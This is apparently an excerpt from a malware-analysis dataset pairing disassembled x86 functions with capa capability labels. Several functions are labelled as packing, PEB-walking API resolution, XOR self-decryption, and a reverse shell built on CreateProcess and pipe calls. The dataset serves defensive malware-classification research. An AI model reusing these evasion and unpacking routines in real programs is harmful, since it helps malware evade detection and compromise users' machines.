joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011c6
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.0040114f
call section..text
movzx eax, al
cmp eax, 1
jne 0x4011e9
push 5
pop eax
jmp 0x4013b8
and dword [ebp - 0x40], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x44], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401234
cmp esi, dword [ebp - 0x2c]
je 0x401249
mov eax, dword [eax]
cmp eax, ebx
jne 0x40122a
mov eax, dword [eax + 0x18]
mov dword [ebp - 8], eax
nop
popal
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x43a748
push dword [0x404724]
push 0x43a728
push dword [0x43a748]
push 0x43a74c
call fcn.0040102b
add esp, 0x14
push 0x43a74c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
push 0x43a768
push dword [0x404724]
push 0x43a728
push dword [0x43a768]
push 0x43a76c
call fcn.0040102b
add esp, 0x14
push 0x43a76c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0x43a788
push dword [0x404724]
push 0x43a728
push dword [0x43a788]
push 0x43a78c
call fcn.0040102b
add esp, 0x14
push 0x43a78c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [0x404040]
mov dword [ebp - 0x10], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x404048
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x10]
push eax
push dword [section..data]
push 0x404004
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [0x404040]
push dword [ebp - 4]
call dword [ebp - 0x24]
push 0x404720
push dword [0x404044]
push 0x4046e8
push dword [0x404720]
push 0x404728
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [0x43a7dc], eax
and dword [ebp - 0x28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
push dword [ebp - 0x28]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [0x43a7dc]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x417b30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc000]
push edi
or ebp, 0xffffffff
jmp 0x417b52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x417b59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x417b48
mov eax, 1
add ebx, ebx
jne 0x417b6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x417b60
jne 0x417b7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417b60
xor ecx, ecx
sub eax, 3
jb 0x417b90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x417c02
mov ebp, eax
add ebx, ebx
jne 0x417b9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x417ba8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x417bcc
inc ecx
add ebx, ebx
jne 0x417bb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x417bad
jne 0x417bc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417bad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x417bec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x417bdd
jmp 0x417b4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x417bec
add edi, ecx
jmp 0x417b4e
pop esi
mov edi, esi
mov ecx, 0xd2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x417c0a
cmp byte [edi], 5
jne 0x417c0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x417c0f
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x417c87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x177c4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17844]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x417c3c
mov ecx, edi
jns 0x417c6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1784c]
or eax, eax
je 0x417c81
mov dword [ebx], eax
add ebx, 4
jmp 0x417c59
call dword [esi + 0x17848]
mov ebp, dword [esi + 0x17850]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x417cbb
sub esp, 0xffffff80
jmp 0x4026d6
Function at 0x40a6a0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4263d4]
jne 0x40a6aa
repz ret
jmp fcn.0041089c

Function at 0x41654c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4263d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040d53f
and dword [ebp - 0x14], 0
cmp dword [0x4775ec], 0
mov dword [ebp - 0x18], eax
jne 0x4165ff
push 0x4037f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4166a7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4037e8
push ebx
call edi
test eax, eax
je 0x4166a7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4037d8
push ebx
mov dword [0x4775ec], eax
call edi
push eax
call esi
push 0x4037c4
push ebx
mov dword [0x4775f0], eax
call edi
push eax
call esi
push 0x4037a8
push ebx
mov dword [0x4775f4], eax
call edi
push eax
call esi
mov dword [0x4775fc], eax
test eax, eax
je 0x4165ff
push 0x403790
push ebx
call edi
push eax
call esi
mov dword [0x4775f8], eax
mov eax, dword [0x4775f8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x416658
cmp dword [0x4775fc], ecx
je 0x416658
push eax
call esi
push dword [0x4775fc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x416658
test ebx, ebx
je 0x416658
call edi
test eax, eax
je 0x41664f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41664f
test byte [ebp - 8], 1
jne 0x416658
or dword [ebp + 0x10], 0x200000
jmp 0x41668b
mov eax, dword [0x4775f0]
cmp eax, dword [ebp - 0x18]
je 0x41668b
push eax
call esi
test eax, eax
je 0x41668b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41668b
mov eax, dword [0x4775f4]
cmp eax, dword [ebp - 0x18]
je 0x41668b
push eax
call esi
test eax, eax
je 0x41668b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4775ec]
call esi
test eax, eax
je 0x4166a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4166a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6a0
leave
ret
Function at 0x41e840
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1400
call fcn.0041da20
cmp dword [0x818370], 0x37
jne 0x41e8d1
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0x4043f4
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x404414
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
lea edx, [esp + 0xc04]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x818374]
mov edx, dword [0x8147e0]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1400
ret
Function at 0x4042e0
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14cc
call fcn.00413dd0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x44e698]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x44e69c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x1c], edx
call fcn.004042d0
mov ecx, dword [0x44e6a0]
mov edx, dword [0x44e6a4]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0x20
jmp 0x404350
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov esi, dword [ebp - 0xc]
mov eax, dword [0x455e24]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x40437c
mov dword [0x455e20], 0xedeb2e40
jmp 0x404397
cmp eax, 0x3eb
jne 0x404397
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x4558b0], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x455e24], 0x9e6
mov dword [0x455e1c], 0xf4ea3dee
jne 0x4043d2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x455e24], 0x213
jne 0x40447a
push 0
lea eax, [ebp - 0x4cc]
push eax
push 0
push 0
push 0
push 0
call ebx
lea ecx, [ebp - 0xccc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x14cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea ecx, [ebp - 0x8cc]
push ecx
push 0
push 0x403f30
push 0x403f74
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [ebp - 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub edi, dword [ebp - 4]
cmp dword [0x455e24], 0xc
jne 0x40448e
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
mov edx, dword [ebp - 8]
mov eax, edi
shr eax, 5
lea ecx, [edx + edi]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, edi
shl edx, 4
add edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 4]
xor edx, ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
sub dword [ebp - 8], eax
sub dword [ebp - 0x14], 1
jne 0x404350
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4044e0
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Get thread local storage value
Read pipe
Set environment variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1408
call fcn.00413dd0
mov eax, dword [0x455e24]
mov ecx, dword [0x4558b4]
shr eax, 3
test eax, eax
jbe 0x404600
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x455e24], 0x959
jne 0x4045e6
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 0x1408]
push ecx
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea edx, [ebp - 0xc08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0
lea eax, [ebp - 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.004042e0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404520
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408aa6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44d5b0]
jne 0x408ab0
repz ret
jmp fcn.0040d3b5

Function at 0x40cbee
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004084b2
and dword [ebp - 4], 0
cmp dword [0x45389c], 0
mov ebx, eax
jne 0x40cc9f
push 0x40355c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40cd50
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403550
push edi
call esi
test eax, eax
je 0x40cd50
push eax
call fcn.00408440
mov dword [esp], 0x403540
push edi
mov dword [0x45389c], eax
call esi
push eax
call fcn.00408440
mov dword [esp], 0x40352c
push edi
mov dword [0x4538a0], eax
call esi
push eax
call fcn.00408440
mov dword [esp], 0x403510
push edi
mov dword [0x4538a4], eax
call esi
push eax
call fcn.00408440
pop ecx
mov dword [0x4538ac], eax
test eax, eax
je 0x40cc9f
push 0x4034f8
push edi
call esi
push eax
call fcn.00408440
pop ecx
mov dword [0x4538a8], eax
mov eax, dword [0x4538a8]
cmp eax, ebx
je 0x40ccf7
cmp dword [0x4538ac], ebx
je 0x40ccf7
push eax
call fcn.004084bb
push dword [0x4538ac]
mov esi, eax
call fcn.004084bb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ccf7
test edi, edi
je 0x40ccf7
call esi
test eax, eax
je 0x40ccee
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ccee
test byte [ebp - 0xc], 1
jne 0x40ccf7
or dword [ebp + 0x10], 0x200000
jmp 0x40cd30
mov eax, dword [0x4538a0]
cmp eax, ebx
je 0x40cd30
push eax
call fcn.004084bb
pop ecx
test eax, eax
je 0x40cd30
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40cd30
mov eax, dword [0x4538a4]
cmp eax, ebx
je 0x40cd30
push eax
call fcn.004084bb
pop ecx
test eax, eax
je 0x40cd30
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45389c]
call fcn.004084bb
pop ecx
test eax, eax
je 0x40cd50
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40cd52
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x36476486
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x71386746
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x411070
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x401c06
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x401bb0
lea eax, [ebp - 0x1c]
xor edi, edi
push eax
push 0xff
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x40], edi
call dword [sym.imp.MSVBVM60.DLL___vbaFixstrConstruct]
mov edx, dword [ebp - 0x1c]
push edi
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcLeftCharBstr]
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, eax
lea ecx, [ebp - 0x30]
call esi
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
push ecx
push edx
push edi
call dword [sym.imp.MSVBVM60.DLL___vbaLsetFixstr]
mov edx, dword [ebp - 0x30]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], edi
call esi
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov eax, dword [ebp - 0x20]
push 0x406a20
push edi
push 0xffffffffffffffff
push 1
push 0x406a84
push 0x406a7c
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcReplace]
mov edx, eax
lea ecx, [ebp - 0x2c]
call esi
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x30]
call esi
push eax
push 0x406a7c
call edi
mov edx, eax
lea ecx, [ebp - 0x18]
call esi
lea ecx, [ebp - 0x30]
lea edx, [ebp - 0x2c]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x40]
push eax
push ecx
call fcn.0040aee0
lea edx, [ebp - 0x40]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x28]
call esi
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
push 0x4111c7
jmp 0x4111b1
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x18]
call esi
lea ecx, [ebp - 0x1c]
call esi
lea ecx, [ebp - 0x20]
call esi
ret
Function at 0x401c00
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x40a008]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov esi, edx
mov dword [ebp - 0x9c], 0x67452301
mov eax, esi
mov dword [ebp - 0x98], 0xefcdab89
and eax, 0x1fffffff
mov dword [ebp - 0x94], 0x98badcfe
mov dword [ebp - 0xa4], eax
mov eax, esi
shr eax, 0x1d
mov dword [ebp - 0x90], 0x10325476
mov dword [ebp - 0xa0], eax
push edi
mov edi, dword [ebp + 8]
cmp esi, 0x40
jb 0x401c7a
mov eax, esi
mov edx, ecx
and eax, 0xffffffc0
lea ecx, [ebp - 0xa4]
push eax
call fcn.00401230
add esp, 4
mov ecx, eax
and esi, 0x3f
push esi
push ecx
lea eax, [ebp - 0x8c]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 0xa4]
mov eax, 0x40
and ecx, 0x3f
add esp, 0xc
mov byte [ebp + ecx - 0x8c], 0x80
inc ecx
sub eax, ecx
cmp eax, 8
jae 0x401cd7
push eax
lea eax, [ebp - 0x8c]
add eax, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x40
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0xa4]
call fcn.00401230
add esp, 0x10
mov eax, 0x40
xor ecx, ecx
add eax, 0xfffffff8
push eax
lea eax, [ebp - 0x8c]
add eax, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0xa4]
lea edx, [ebp - 0x8c]
push 0x40
lea ecx, [eax*8]
movzx eax, cl
mov byte [ebp - 0x54], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x53], al
mov eax, ecx
shr eax, 0x10
mov dword [ebp - 0xa4], ecx
mov byte [ebp - 0x52], al
movzx eax, byte [ebp - 0xa0]
shr ecx, 0x18
mov byte [ebp - 0x51], cl
mov ecx, dword [ebp - 0xa0]
mov byte [ebp - 0x50], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x4f], al
mov eax, ecx
shr ecx, 0x18
shr eax, 0x10
mov byte [ebp - 0x4d], cl
lea ecx, [ebp - 0xa4]
mov byte [ebp - 0x4e], al
call fcn.00401230
movzx eax, byte [ebp - 0x9c]
add esp, 0x10
mov ecx, dword [ebp - 0x9c]
mov byte [edi], al
mov eax, ecx
shr eax, 8
mov byte [edi + 1], al
mov eax, ecx
shr eax, 0x10
mov byte [edi + 2], al
movzx eax, byte [ebp - 0x98]
mov byte [edi + 4], al
shr ecx, 0x18
mov byte [edi + 3], cl
mov ecx, dword [ebp - 0x98]
mov eax, ecx
shr eax, 8
mov byte [edi + 5], al
mov eax, ecx
shr eax, 0x10
mov byte [edi + 6], al
movzx eax, byte [ebp - 0x94]
mov byte [edi + 8], al
shr ecx, 0x18
mov byte [edi + 7], cl
mov ecx, dword [ebp - 0x94]
mov eax, ecx
shr eax, 8
mov byte [edi + 9], al
mov eax, ecx
shr eax, 0x10
mov byte [edi + 0xa], al
movzx eax, byte [ebp - 0x90]
shr ecx, 0x18
mov byte [edi + 0xc], al
mov byte [edi + 0xb], cl
mov ecx, dword [ebp - 0x90]
mov eax, ecx
shr eax, 8
mov byte [edi + 0xd], al
mov eax, ecx
shr eax, 0x10
shr ecx, 0x18
mov byte [edi + 0xe], al
mov byte [edi + 0xf], cl
pop edi
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.0040677c
mov esp, ebp
pop ebp
ret